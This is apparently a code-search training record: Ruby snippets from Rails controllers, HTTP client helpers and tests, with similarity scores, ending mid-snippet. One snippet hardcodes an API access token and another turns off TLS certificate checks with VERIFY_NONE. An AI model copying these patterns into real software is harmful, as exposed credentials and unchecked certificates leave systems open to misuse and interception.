\n #puts \"ON_PUT_OPTS: #{opts.inspect}\"\n body, format = parse_body(opts)\n case format\n # when :empty\n # # do nothing\n when :xml\n modifier_el = body.root\n resource = put_resource_xml(modifier_el, resource_uri, opts)\n else\n raise UnsupportedBodyFormatException.new(format)\n end\n show_resource(resource, opts)\n end", "def destroy\n chef_server_rest.delete(\"nodes/#{name}\")\n end", "def confirm\n @garbage = Garbage.find(params[:id])\n @garbage.attributes = params[:garbage]\n render :action => :edit, :status => 400 and return unless @garbage.valid?\n end", "def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end", "def update_current_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def flush_attrs\n request = Request.new\n response = perform_request(:flushattrs, request)\n\n # parse response\n begin\n response.get_int\n rescue EOFError\n -1\n end\n end", "def destroy\n @shot = Shot.find(params[:id])\n @shot.destroy\n\n respond_to do |format|\n format.html { redirect_to(shots_url) }\n format.xml { head :ok }\n end\n end", "def update!(**args)\n @etag = args[:etag] if args.key?(:etag)\n end", "def rm_create path, entity, data, msg\n\n rmp = nil\n re = rm_request path, entity => data\n chk (re.code!='201'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n rmp = JSON.parse(re.body)[entity] rescue nil\n chk !rmp, msg + \"\\n#{re.body.inspect}\\n\\n\"\n return rmp\n\nend", "def http_put(request, response)\n body = request.body_as_stream\n path = request.path\n\n # Intercepting Content-Range\n if request.header('Content-Range')\n # An origin server that allows PUT on a given target resource MUST send\n # a 400 (Bad Request) response to a PUT request that contains a\n # Content-Range header field.\n #\n # Reference: http://tools.ietf.org/html/rfc7231#section-4.3.4\n fail Exception::BadRequest, 'Content-Range on PUT requests are forbidden.'\n end\n\n # Intercepting the Finder problem\n expected = request.header('X-Expected-Entity-Length').to_i\n if expected > 0\n # Many webservers will not cooperate well with Finder PUT requests,\n # because it uses 'Chunked' transfer encoding for the request body.\n #\n # The symptom of this problem is that Finder sends files to the\n # server, but they arrive as 0-length files in PHP.\n #\n # If we don't do anything, the user might think they are uploading\n # files successfully, but they end up empty on the server. Instead,\n # we throw back an error if we detect this.\n #\n # The reason Finder uses Chunked, is because it thinks the files\n # might change as it's being uploaded, and therefore the\n # Content-Length can vary.\n #\n # Instead it sends the X-Expected-Entity-Length header with the size\n # of the file at the very start of the request. If this header is set,\n # but we don't get a request body we will fail the request to\n # protect the end-user.\n\n # Only reading first byte\n first_byte = body.read(1)\n unless first_byte\n fail Exception::Forbidden, 'This server is not compatible with OS/X finder. Consider using a different WebDAV client or webserver.'\n end\n\n # The body needs to stay intact, so we copy everything to a\n # temporary stream.\n\n new_body = StringIO.new\n new_body.write(first_byte)\n IO.copy_stream(body, new_body)\n new_body.rewind\n\n body = new_body\n end\n\n if @server.tree.node_exists(path)\n node = @server.tree.node_for_path(path)\n\n # If the node is a collection, we'll deny it\n unless node.is_a?(IFile)\n fail Exception::Conflict, 'PUT is not allowed on non-files.'\n end\n\n etag = Box.new\n return false unless @server.update_file(path, body, etag)\n etag = etag.value\n\n response.update_header('Content-Length', '0')\n response.update_header('ETag', etag) if etag\n response.status = 204\n else\n # If we got here, the resource didn't exist yet.\n etag = Box.new\n unless @server.create_file(path, body, etag)\n # For one reason or another the file was not created.\n return false\n end\n etag = etag.value\n\n response.update_header('Content-Length', '0')\n response.update_header('ETag', etag) if etag\n response.status = 201\n end\n\n # Sending back false will interupt the event chain and tell the server\n # we've handled this method.\n false\n end", "def test_update\n set = ResourceSet.new('SemanticExpression.new().spo(\\'<http://www.w3.org/2000/01/rdf-schema#Class>\\',\\'<http://www.w3.org/1999/02/22-rdf-syntax-ns#type>\\',\\'<http://www.w3.org/2000/01/rdf-schema#Class>\\')') \n size = set.resources.size\n #create a new resourceset. Note that the expression must return more resource than the first one.\n #we will check the number of resources to verify whether the set was updated.\n post :update, :exp => 'SemanticExpression.new.union(:s,Namespace.lookup(:rdf,:type),:o)', :id => set.rsid\n assert @controller.resourceset.resources.size > size #assert that set was remove\n assert_response :success #assert that the request was executed successful\nend", "def update\n enforce_permissions!('update', params[:id])\n\n param = params[:xml].presence || params[:metadata_file].presence\n\n if param\n xml_ds = XmlDatastream.new\n xml_ds.load_xml(param)\n else\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n redirect_to controller: 'catalog', action: 'show', id: params[:id]\n return\n end\n\n @object = retrieve_object!(params[:id])\n @errors = nil\n\n unless can? :update, @object\n raise Hydra::AccessDenied.new(t('dri.flash.alert.edit_permission'), :edit, '')\n end\n\n @object.update_metadata xml_ds.xml\n if @object.valid?\n checksum_metadata(@object)\n warn_if_has_duplicates(@object)\n\n begin\n raise DRI::Exceptions::InternalError unless @object.attached_files[:descMetadata].save\n rescue RuntimeError => e\n logger.error \"Could not save descMetadata for object #{@object.id}: #{e.message}\"\n raise DRI::Exceptions::InternalError\n end\n\n begin\n raise DRI::Exceptions::InternalError unless @object.save\n\n version_and_record_committer(@object, current_user)\n flash[:notice] = t('dri.flash.notice.metadata_updated')\n rescue RuntimeError => e\n logger.error \"Could not save object #{@object.id}: #{e.message}\"\n raise DRI::Exceptions::InternalError\n end\n else\n flash[:alert] = t('dri.flash.alert.invalid_object', error: @object.errors.full_messages.inspect)\n @errors = @object.errors.full_messages.inspect\n end\n\n @object.object_version ||= '1'\n @object.increment_version\n\n begin\n raise DRI::Exceptions::InternalError unless @object.save\n\n # Do the preservation actions\n preservation = Preservation::Preservator.new(@object)\n preservation.preserve(false, false, ['descMetadata','properties'])\n\n version_and_record_committer(@object, current_user)\n flash[:notice] = t('dri.flash.notice.metadata_updated')\n rescue RuntimeError => e\n logger.error \"Could not save object #{@object.id}: #{e.message}\"\n raise DRI::Exceptions::InternalError\n end\n\n respond_to do |format|\n format.html { redirect_to controller: 'my_collections', action: 'show', id: params[:id] }\n format.json { render json: @object }\n format.text do\n response = if @errors\n t('dri.flash.alert.invalid_object', error: @errors)\n else\n t('dri.flash.notice.metadata_updated')\n end\n\n render text: response\n end\n end\n end", "def rm_request path, data = nil,method = nil, verbose = false\n reply = nil\n hdrs = {'Content-Type'=>'application/json', 'X-Redmine-API-Key' => $settings['redmine_api_key']}\n reply = Net::HTTP.start($settings['redmine_host'], $settings['redmine_port']) do |http|\n if data\n if !method || method == 'POST'\n puts \"POST #{path}\" if verbose\n http.request_post(path,data.to_json, hdrs)\n elsif method == 'PUT'\n # code for PUT here\n puts \"PUT #{path}\" if verbose\n http.send_request 'PUT', path, JSON.unparse(data), hdrs\n end\n else\n puts \"GET #{path}\" if verbose\n http.request_get(path, hdrs)\n end\n end\n return reply\nend", "def test_putway_update_valid\n way = create(:way_with_nodes, :nodes_count => 3)\n cs_id = way.changeset.id\n user = way.changeset.user\n\n assert_not_equal({ \"test\" => \"ok\" }, way.tags)\n amf_content \"putway\", \"/1\", [\"#{user.email}:test\", cs_id, way.version, way.id, way.nds, { \"test\" => \"ok\" }, [], {}]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 8, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal way.id, result[2]\n assert_equal way.id, result[3]\n assert_equal({}, result[4])\n assert_equal way.version + 1, result[5]\n assert_equal({}, result[6])\n assert_equal({}, result[7])\n\n new_way = Way.find(way.id)\n assert_equal way.version + 1, new_way.version\n assert_equal way.nds, new_way.nds\n assert_equal({ \"test\" => \"ok\" }, new_way.tags)\n\n # Test changing the nodes in the way\n a = create(:node).id\n b = create(:node).id\n c = create(:node).id\n d = create(:node).id\n\n assert_not_equal [a, b, c, d], way.nds\n amf_content \"putway\", \"/1\", [\"#{user.email}:test\", cs_id, way.version + 1, way.id, [a, b, c, d], way.tags, [], {}]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 8, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal way.id, result[2]\n assert_equal way.id, result[3]\n assert_equal({}, result[4])\n assert_equal way.version + 2, result[5]\n assert_equal({}, result[6])\n assert_equal({}, result[7])\n\n new_way = Way.find(way.id)\n assert_equal way.version + 2, new_way.version\n assert_equal [a, b, c, d], new_way.nds\n assert_equal way.tags, new_way.tags\n\n amf_content \"putway\", \"/1\", [\"#{user.email}:test\", cs_id, way.version + 2, way.id, [a, -1, b, c], way.tags, [[4.56, 12.34, -1, 0, { \"test\" => \"new\" }], [12.34, 4.56, b, 1, { \"test\" => \"ok\" }]], { d => 1 }]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n new_node_id = result[4][\"-1\"].to_i\n\n assert_equal 8, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal way.id, result[2]\n assert_equal way.id, result[3]\n assert_equal({ \"-1\" => new_node_id }, result[4])\n assert_equal way.version + 3, result[5]\n assert_equal({ new_node_id.to_s => 1, b.to_s => 2 }, result[6])\n assert_equal({ d.to_s => 1 }, result[7])\n\n new_way = Way.find(way.id)\n assert_equal way.version + 3, new_way.version\n assert_equal [a, new_node_id, b, c], new_way.nds\n assert_equal way.tags, new_way.tags\n\n new_node = Node.find(new_node_id)\n assert_equal 1, new_node.version\n assert_equal true, new_node.visible\n assert_equal 4.56, new_node.lon\n assert_equal 12.34, new_node.lat\n assert_equal({ \"test\" => \"new\" }, new_node.tags)\n\n changed_node = Node.find(b)\n assert_equal 2, changed_node.version\n assert_equal true, changed_node.visible\n assert_equal 12.34, changed_node.lon\n assert_equal 4.56, changed_node.lat\n assert_equal({ \"test\" => \"ok\" }, changed_node.tags)\n\n deleted_node = Node.find(d)\n assert_equal 2, deleted_node.version\n assert_equal false, deleted_node.visible\n end", "def update!(**args)\n @xtags = args[:xtags] if args.key?(:xtags)\n end", "def update!(**args)\n @xtags = args[:xtags] if args.key?(:xtags)\n end", "def clear_default_profile \n put(\"/profiles.json/default/clear\")\nend", "def update(*args)\n put(*args)\n end", "def update(*args)\n put(*args)\n end", "def put(path, opts = {})\n request(:put, path, opts).body\n end", "def update(attrs, path=nil)\n resp = api_client.put(path || url, JSON.dump(attrs))\n refresh(JSON.load(resp.body))\n end", "def update_metadata\n @generic_file.destroy_existing_nested_nodes(params[:generic_file])\n super\n end", "def put endpoint, data\n do_request :put, endpoint, data\n end", "def orchio_put(jdoc)\n response = client.send_request :put, inst_args(json: jdoc)\n if cache.enabled?\n simple_cache.save(\n Document.new(\n response.body.to_hash,\n Metadata.new(\n :collection => ocollection,\n :key => @id,\n :ref => response.header.etag\n )))\n end\n set_ref_value response\n orchio_status response, 201\n end", "def put(path, data=nil)\n request(:put, path, data)\n end", "def destroy\n @reservation = Reservation.find(params[:id])\n xml=@reservation.to_xml\n json=@reservation.to_json\n @reservation.make_historical\n\n respond_to do |format|\n format.html { redirect_to(reservations_url) }\n format.json { render :json => json}\n format.xml { render :xml => xml}\n end\n end", "def write_gospel\n open_gospel \"r+\" do |f|\n Rails.logger.info \"Reloading XML for modification\"\n @@gospel = Nokogiri::XML(f)\n @@gospel_mod_time = f.mtime\n # Then yield for modification ... if true, then write it out\n if yield @@gospel\n Rails.logger.warn \"Writing new XML\"\n f.truncate(0)\n f.rewind\n @@gospel.write_xml_to(f, :encoding => 'UTF-8')\n @@gospel_mod_time = f.mtime\n end\n end\n end", "def putFactura(oc)\n\n facturax= JSON.parse(HTTP.headers(:\"Content-Type\" => \"application/json\").put(\"http://\"+ $url +\"/facturas/\", :json => {:oc => oc}).to_s, :symbolize_names => true)\n return facturax\n end", "def destroy\n @couch.destroy\n respond_to do |format|\n format.html { redirect_to couches_url, notice: 'Couch was successfully destroyed.' }\n format.json { head :no_content }\n end\n end" ]
[ "0.5797847", "0.5780015", "0.5609568", "0.5536864", "0.54401624", "0.5383693", "0.53691864", "0.53138787", "0.5301043", "0.52435005", "0.5195912", "0.5112155", "0.51022756", "0.50801253", "0.5074097", "0.5036314", "0.5010618", "0.50072706", "0.5002062", "0.49902228", "0.4988715", "0.49753934", "0.49741215", "0.49670067", "0.49484676", "0.4924678", "0.49182191", "0.49014044", "0.48626885", "0.48468566", "0.48461643", "0.48444676", "0.48337442", "0.48306865", "0.48207223", "0.481404", "0.48120084", "0.4791511", "0.47896892", "0.47578952", "0.47535455", "0.47335288", "0.47323155", "0.47188726", "0.471845", "0.47145027", "0.47093675", "0.47077575", "0.4706736", "0.4704572", "0.46786284", "0.46684387", "0.46617183", "0.46580434", "0.46558726", "0.46508205", "0.46504924", "0.46412742", "0.46411783", "0.46347982", "0.46308497", "0.4605569", "0.45859528", "0.45819712", "0.45802835", "0.4580102", "0.45668387", "0.45632735", "0.45574486", "0.45566556", "0.4551117", "0.454947", "0.45413134", "0.4541098", "0.45386985", "0.45369425", "0.45358813", "0.45344818", "0.452935", "0.4515006", "0.45147777", "0.45112535", "0.45106846", "0.45104727", "0.45100537", "0.45017502", "0.45017502", "0.44940737", "0.44939843", "0.44939843", "0.44936413", "0.44783074", "0.44761592", "0.44710332", "0.44708568", "0.4462529", "0.44579193", "0.44556567", "0.4455164", "0.44517875" ]
0.5173622
11
POST /garbages POST /garbages.xml
def upload upload_file = ApplicationUpload.new(params[:file]) upload_msgs = upload_file.import(Garbage) flash[:notice] = t(:success_imported, :msg => upload_msgs) unless upload_msgs.blank? redirect_to(garbages_url) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @garbage = Garbage.new(params[:garbage])\n\n respond_to do |format|\n if @garbage.save\n format.html { redirect_to @garbage, notice: 'Garbage was successfully created.' }\n format.json { render json: @garbage, status: :created, location: @garbage }\n else\n format.html { render action: \"new\" }\n format.json { render json: @garbage.errors, status: :unprocessable_entity }\n end\n end\n end", "def garbage!\n @garbage = true\n end", "def destroy\n @garbage = Garbage.find(params[:id])\n @garbage.destroy\n\n respond_to do |format|\n format.html { redirect_to garbages_url }\n format.json { head :no_content }\n end\n end", "def new\n @garbage = Garbage.new(params[:garbage])\n end", "def create\n begin\n @garbage = Garbage.new(params[:garbage])\n\n @garbage.save!\n\n flash[:notice] = t(:success_created, :id => @garbage.id)\n redirect_to(garbages_url)\n rescue => e\n# flash[:error] = t(:error_default, :message => e.message)\n render :action => :new\n end\n end", "def check\n @garbage = Garbage.new(params[:garbage])\n render :action => :new, :status => 400 and return unless @garbage.valid?\n end", "def garbage_collect\n end", "def garbage_collect\n end", "def destroy\n @garbage_type.destroy\n respond_to do |format|\n format.html { redirect_to garbage_types_url, notice: 'Garbage type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create\n @garbage_type = GarbageType.new(garbage_type_params)\n\n respond_to do |format|\n if @garbage_type.save\n format.html { redirect_to @garbage_type, notice: 'Garbage type was successfully created.' }\n format.json { render :show, status: :created, location: @garbage_type }\n else\n format.html { render :new }\n format.json { render json: @garbage_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def collect_garbage!\n find_including_new_records(:all, :conditions => ['as_new = ? AND created_at < ?', true, Time.now - 1.week]).each(&:destroy)\n end", "def do_garbage(garbage)\n response_syntax_error :message=>\"syntax error - invalid character\"\n end", "def collectGarbage\n\t\t\ta = []\n\t\t\t1000.times { a << {} }\n\t\t\ta = nil\n\t\t\tGC.start\n\t\tend", "def new\n @garbage = Garbage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @garbage }\n end\n end", "def set_garbage_type\n @garbage_type = GarbageType.find(params[:id])\n end", "def test_data_cleaning\n customer = rand(0..10)\n stream = rand(0..10)\n\n 10.times do\n post '/watch', {customer_id: customer, stream_id: stream}\n assert_equal 200, last_response.status\n end\n\n sleep 10\n\n trace_test 'data cleaning test', app.settings.customers, app.settings.streams\n\n assert_equal 0, app.settings.customers.length\n assert_equal 0, app.settings.streams.length\n\n end", "def index\n @garbage_types = GarbageType.all\n end", "def create\n @slow_thing = SlowThing.new(slow_thing_params)\n\n respond_to do |format|\n if @slow_thing.save\n\n domain = URI(root_url)\n Net::HTTP.start(domain.host, domain.port) do |http|\n Rails.logger.debug \"purging #{domain}\"\n http.request( Purge.new(domain) )\n\n Rails.logger.debug \"purging #{slow_things_url}\"\n http.request( Purge.new(URI(slow_things_url)) )\n end\n\n format.html { redirect_to @slow_thing, notice: 'Slow thing was successfully created.' }\n format.json { render :show, status: :created, location: @slow_thing }\n else\n format.html { render :new }\n format.json { render json: @slow_thing.errors, status: :unprocessable_entity }\n end\n end\n end", "def db_cleaner\n JSON.parse(params[:mongified_data][:data]).each do |data|\n data[\"lob\"] = params[:mongified_data][:lob]\n @client.destroy(data)\n end\n end", "def purge_request(params, *titles)\n params[:action] = 'purge'\n params[:titles] = titles.join('|')\n\n post(params)['purge'].inject({}) do |result, hash|\n title = hash['title']\n result[title] = hash.key?('purged') && !hash.key?('missing')\n warn \"Invalid purge (#{title}) #{hash['invalidreason']}\" if hash.key?('invalid')\n result\n end\n end", "def clear_all\n clear\n clear_stored_requests\n end", "def garbage_closed\n state[:garbage] = false\n end", "def clear_garbage\n self.tmp_garbage.each do |relation, record|\n if record.is_a? Array\n record.each { |r| r.destroy }\n else\n record.destroy\n end\n end if self.tmp_garbage.present?\n self.tmp_garbage = {}\n end", "def destroy\n @csrfattack.destroy\n respond_to do |format|\n format.html { redirect_to csrfattacks_url, notice: 'Csrfattack was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def collect_garbage(options = {})\n config = load_config(options)\n last_key = eliminate_unwanted_sessions(config)\n while !last_key.empty?\n last_key = eliminate_unwanted_sessions(config, last_key)\n end\n end", "def destroy\n\n\t\turi = URI.parse(Counter::Application.config.simplyurl)\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\n\t\trequest = Net::HTTP::Delete.new('/offsets/doit.json')\n\t\tputs params\n\t\tputs params.slice(*['custids','acctids'])\n\t\t\n\t\t# ok, this join stuff is bogus - it encodes properly, but the other side only sees the last element and loses the array type - it's just string\n\t\t# this way, i 'split' it at the other side to recover my array\n\t\t# it should work without the join/split crap, but it doesn't\n\t\trequest.set_form_data({:custids => ( params['custids'] || []).join(','), :acctids => ( params['acctids'] || []).join(','), :itemids => ( params['itemids'] || []).join(',')})\n\t\t\n\t\tputs request.body\n\t\t\n\t\tresponse = http.request(request)\n\t\tputs response.body\n\n respond_to do |format|\n format.html { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n format.json { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n end\n end", "def purge\n end", "def refill_all_queues!\n # Dla POST musi byc jakies 'body' requestu, bo serwery czesto rzucaja wyjatkami (WEBrick w szczegolnosci).\n post '/queues/refill_all', :body => ' '\n true\n end", "def purge!\n @data = nil\n end", "def purge!\n @data = nil\n end", "def DataReset()\n @xml_data = \"\"\n end", "def purge_unused_tags!\n unused_tags.each do |tag|\n logger.info(\"Purging tag '#{tag}'\")\n entries_with(label: tag).each do |entry|\n payload = Protocol::Device::SetTagLabels.new(tags: id_to_tags_field(entry.tag_id), label: '')\n context.send_message(target: Target.new(site_id: entry.site_id),\n payload: payload,\n acknowledge: true)\n end\n end\n Timeout.timeout(5) do\n while !unused_tags.empty?\n sleep 0.1\n end\n end\n end", "def postEntityPurge( entity_id, purge_masheryid, purge_supplier_id, purge_user_id, exclude, destructive)\n params = Hash.new\n params['entity_id'] = entity_id\n params['purge_masheryid'] = purge_masheryid\n params['purge_supplier_id'] = purge_supplier_id\n params['purge_user_id'] = purge_user_id\n params['exclude'] = exclude\n params['destructive'] = destructive\n return doCurl(\"post\",\"/entity/purge\",params)\n end", "def charge(attrs = {})\n post :charges, {}, attrs.to_xml(:root => :charge)\n end", "def garbage_opened\n state[:garbage] = true\n end", "def destroy_empty\n @obj = Node.find(params[:id])\n @obj.destroy_empty\n respond_to do |format|\n format.html { redirect_to nodes_url }\n format.json { head :no_content }\n end\n end", "def update\n @garbage = Garbage.find(params[:id])\n\n respond_to do |format|\n if @garbage.update_attributes(params[:garbage])\n format.html { redirect_to @garbage, notice: 'Garbage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @garbage.errors, status: :unprocessable_entity }\n end\n end\n end", "def clean_cache\n node.normal['cloudflare']['threat_control']['status_cache'].reject! { |ip, data| is_stale? data['datetime'] }\nend", "def cleanup_xml\n return nil unless xml\n xml.gsub!(/<EFFICIENCY>-<\\/EFFICIENCY>/, '<EFFICIENCY>0.0</EFFICIENCY>')\n end", "def request_uncached request\n sleep 0.001 * options.delay.to_f # Sleep if requested\n\n if options.debug\n print \"Opening #{request[:uri]}...\"; $stdout.flush\n end\n\n if request[:method] == :get\n self.uri = request[:uri]\n else\n raise Exception, 'POST requests not supported yet'\n end\n \n puts 'done!' if options.debug\n \n if self.html_data?\n triples = extract(self.uri, html, self.kb, options.referenceable) # Extract data\n Dumper.dump self.uri, clean(triples), options.format if options.dump # Dump results to disk\n triples\n else\n []\n end\n end", "def destroy\n @heartbeat.destroy\n\n head :no_content\n end", "def destroy\n @refugee.destroy\n respond_to do |format|\n format.html { redirect_to refugees_url, notice: 'Refugee was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_requests\n self.requests.each {|request| request.destroy}\n end", "def generate_tags\n uri = URI.parse(\"https://api.thomsonreuters.com/permid/calais\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n post_body = []\n post_body << \"<Document><Body>\"\n # stip html\n post_body << ActionView::Base.full_sanitizer.sanitize(params[:desc])\n # no strip\n # post_body << params[:desc]\n post_body << \"</Body></Document>\"\n request = Net::HTTP::Post.new(uri.request_uri)\n request.add_field(\"Content-Type\",\"text/xml\")\n request.add_field(\"outputFormat\",\"application/json\")\n #request.add_field(\"outputFormat\",\"text/n3\") \n request.add_field(\"x-ag-access-token\",\"fY7WUM3GGCXHm9ATOhtzhrvlWX8oPo5X\")\n request.body = post_body.join\n # request[\"Content-Type\"] = \"multipart/form-data, boundary=#{BOUNDARY}\"\n\n render :json => http.request(request).body\n end", "def invalidate(files, pos=0)\n paths, count = \"\", 0\n\n files[pos...(pos+CF_BATCH_SIZE)].each do |key|\n count += 1\n paths += \"<Path>#{key.to_s.gsub(/ /, '%20')}</Path>\"\n end\n\n return if count < 1\n\n paths = \"<Paths><Quantity>#{count}</Quantity><Items>#{paths}</Items></Paths>\"\n\n digest = HMAC::SHA1.new(SECRET_ACCESS_KEY)\n digest << date = Time.now.utc.strftime(\"%a, %d %b %Y %H:%M:%S %Z\")\n\n uri = URI.parse(\"https://cloudfront.amazonaws.com/2012-07-01/distribution/#{CLOUD_DIST_ID}/invalidation\")\n header = {\n 'x-amz-date' => date,\n 'Content-Type' => 'text/xml',\n 'Authorization' => \"AWS %s:%s\" % [ACCESS_KEY_ID, Base64.encode64(digest.digest)]\n }\n req = Net::HTTP::Post.new(uri.path)\n req.initialize_http_header(header)\n body = \"<InvalidationBatch xmlns=\\\"http://cloudfront.amazonaws.com/doc/2012-07-01/\\\">#{paths}<CallerReference>ref_#{Time.now.utc.to_i}</CallerReference></InvalidationBatch>\"\n req.body = body\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n res = http.request(req)\n puts res.code == '201' ? \"CloudFront reloading #{count}\" : \"Failed #{res.code}\"\n puts res.body if res.code != '201'\n return if res.code == 400\n\n if count == CF_BATCH_SIZE\n invalidate(files, pos+count)\n end\n end", "def create\n @user = User.find(params[:user_id])\n @post = @user.posts.new(post_params)\n if @post.privacy === nil\n @post.privacy = false\n end\n if not post_params[:images].nil?\n @post.images.purge\n end\n\n if not post_params[:attachments].nil?\n @post.attachments.purge\n end\n respond_to do |format|\n if @post.save\n format.html { redirect_to root_path, notice: 'Post was successfully created.' }\n else\n format.html { render root_path }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def run_garbage_collectors\n Donation.garbage_collect( session )\n end", "def garbage_type_params\n params.require(:garbage_type).permit(:name, :picture, :description)\n end", "def action_after_save\n @content = nil\n @ng_xml = nil\n remove_instance_variable(:@ng_xml)\n end", "def clean_refill dirty_atts\n # TODO\n end", "def garbage\n correct_bin = self.bin_id\n Item.find(self.id).responses.where(bin_id: 1).count\n end", "def cleanup\n end", "def cleanup\n end", "def cleanup\n end", "def cleanup; end", "def cleanup; end", "def cleanup; end", "def cleanup; end", "def destroy\n @hotspot_registration.destroy\n respond_to do |format|\n format.html { redirect_to admin_guests_url, notice: 'Guest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def prune params = {}\n @connection.post(build_path(\"/containers/prune\", params))\n end", "def flush_attrs\n request = Request.new\n response = perform_request(:flushattrs, request)\n\n # parse response\n begin\n response.get_int\n rescue EOFError\n -1\n end\n end", "def confirm\n @garbage = Garbage.find(params[:id])\n @garbage.attributes = params[:garbage]\n render :action => :edit, :status => 400 and return unless @garbage.valid?\n end", "def purge\n\n\t\tend", "def create_deduplication_request post\n request = Typhoeus::Request.new post.img_url\n request.on_complete do |response|\n if response.code == 200\n file = Tempfile.new('tumblr-machine')\n begin\n file.write response.body\n file.close\n fingerprint = Phashion::Image.new(file.path).fingerprint\n post.update({:fingerprint => Sequel::LiteralString.new(\"B'#{fingerprint.to_s(2).rjust(64, '0')}'\")})\n\n if database[:posts].\n where('fingerprint is not null').\n where('id != ?', post.id).\n where('hamming(fingerprint, (select fingerprint from posts where id = ?)) >= ?', post.id, DUPLICATE_LEVEL).\n count > 0\n post.update({:skip => true})\n end\n\n ensure\n file.close\n file.unlink\n end\n end\n end\n request\n end", "def destroy\n @bg_measurement.destroy\n respond_to do |format|\n format.html { redirect_to bg_measurements_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bg_measurement.destroy\n respond_to do |format|\n format.html { redirect_to bg_measurements_url }\n format.json { head :no_content }\n end\n end", "def postEntityPurgeBy_object( entity_id, object, gen_id, purge_masheryid, purge_supplier_id, purge_user_id, destructive)\n params = Hash.new\n params['entity_id'] = entity_id\n params['object'] = object\n params['gen_id'] = gen_id\n params['purge_masheryid'] = purge_masheryid\n params['purge_supplier_id'] = purge_supplier_id\n params['purge_user_id'] = purge_user_id\n params['destructive'] = destructive\n return doCurl(\"post\",\"/entity/purge/by_object\",params)\n end", "def destroy\n @junk.destroy\n respond_to do |format|\n format.html { redirect_to junks_url, notice: 'Junk was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @blood_pressure.destroy\n respond_to do |format|\n format.html { redirect_to blood_pressures_url, notice: 'Blood pressure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @node = Node.scopied.find(params[:id])\n @node.kill\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end", "def cleanup_feeds()\n status = Status.get_status('feed_item_cleanup')\n last_update = Time.at(status.value.to_i).to_i\n now = Time.now.to_i\n if (last_update + (24*60*60) < now)\n # Save the new status time first, since this could be a long cleanup.\n status.value = now.to_s\n status.save\n\n puts \"Running garbage collection on feeds_items table.\"\n delete_count = 0;\n FeedsItems.find_each(:batch_size => 2000) do |feed_item|\n unless feed_item.feed.user_id.nil? \n user = feed_item.feed.user rescue user = nil\n item = feed_item.item rescue item = nil\n if user.nil? || item.nil? || !item.acl_check?(user)\n puts \"Destroying: #{feed_item.inspect}\"\n feed_item.destroy\n delete_count = delete_count + 1\n end\n end\n end\n puts \"Done. Delete #{delete_count} feeds_items.\"\n else\n puts \"Skipping GC of feeds_items table.\"\n end\n end", "def purge_nodes(name)\n nodes = nodes_for_environment(name)\n futures = []\n\n nodes.each do |node|\n futures << ridley.client.future(:delete, node)\n futures << ridley.node.future(:delete, node)\n end\n\n futures.map(&:value)\n end", "def destroy\n @nudge.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def cleanup\n end", "def cleanup\n end", "def cleanup\n end", "def cleanup\n end", "def expire!\n expire_faults!\n expire_perfs!\n end", "def cleanup(node)\n node = node.root if ::Nokogiri::XML::Document === node\n # remove unwanted tags\n node.xpath(\"//*[@jam='erase']\").each do |n|\n unwrap(n)\n end\n # remove jam attributes\n\n #\n node\n end", "def clean\n puts \"== removing all data from redis ==\"\n submission_keys = redis.lrange(SUBMISSIONS_KEY, 0, -1)\n redis.del(submission_keys) unless submission_keys.empty?\n redis.del(SUBMISSIONS_KEY)\n end", "def destroy\n @geocache.destroy\n \n #add score to user rank\n del_score_to_rank('upload')\n \n respond_to do |format|\n format.html { redirect_to(geocaches_url) }\n format.xml { head :ok }\n end\n end", "def refreshtags\n\t\tif Tag.all != nil\n\t\t\t@badtags = Tag.all.select {\n\t\t\t\t|tag|\n\t\t\t\t@usedresources = Resource.all.select {\n\t\t\t\t\t|resource|\n\t\t\t\t\tresource.tags.include? tag\n\t\t\t\t}\n\t\t\t\t@usedresources.empty?\n\t\t\t}\n\t\t\t@badtags.each {\n\t\t\t\t|tag|\n\t\t\t\ttag.destroy\n\t\t\t}\n\t\tend\n\tend", "def gc!\n delete_if { |key, s| s.expired? }\n end", "def teardown\n #commented this out because it is now unnecessary\n # @api = nil\n #GC.start\n @api.close_api\n # @server.close\n end", "def delete_all_metrics\n connection = Librato::Metrics.client.connection\n Librato::Metrics.list.each do |metric|\n #puts \"deleting #{metric['name']}...\"\n # expects 204\n connection.delete(\"metrics/#{metric['name']}\")\n end\n end", "def purge()\n time = Time.now\n @data.each do |key, item|\n if item.expiration < time\n @data.delete(key)\n puts \"DELETE #{item.value}\"\n end\n end\n end", "def purge_all(opts = {})\n data, _status_code, _headers = 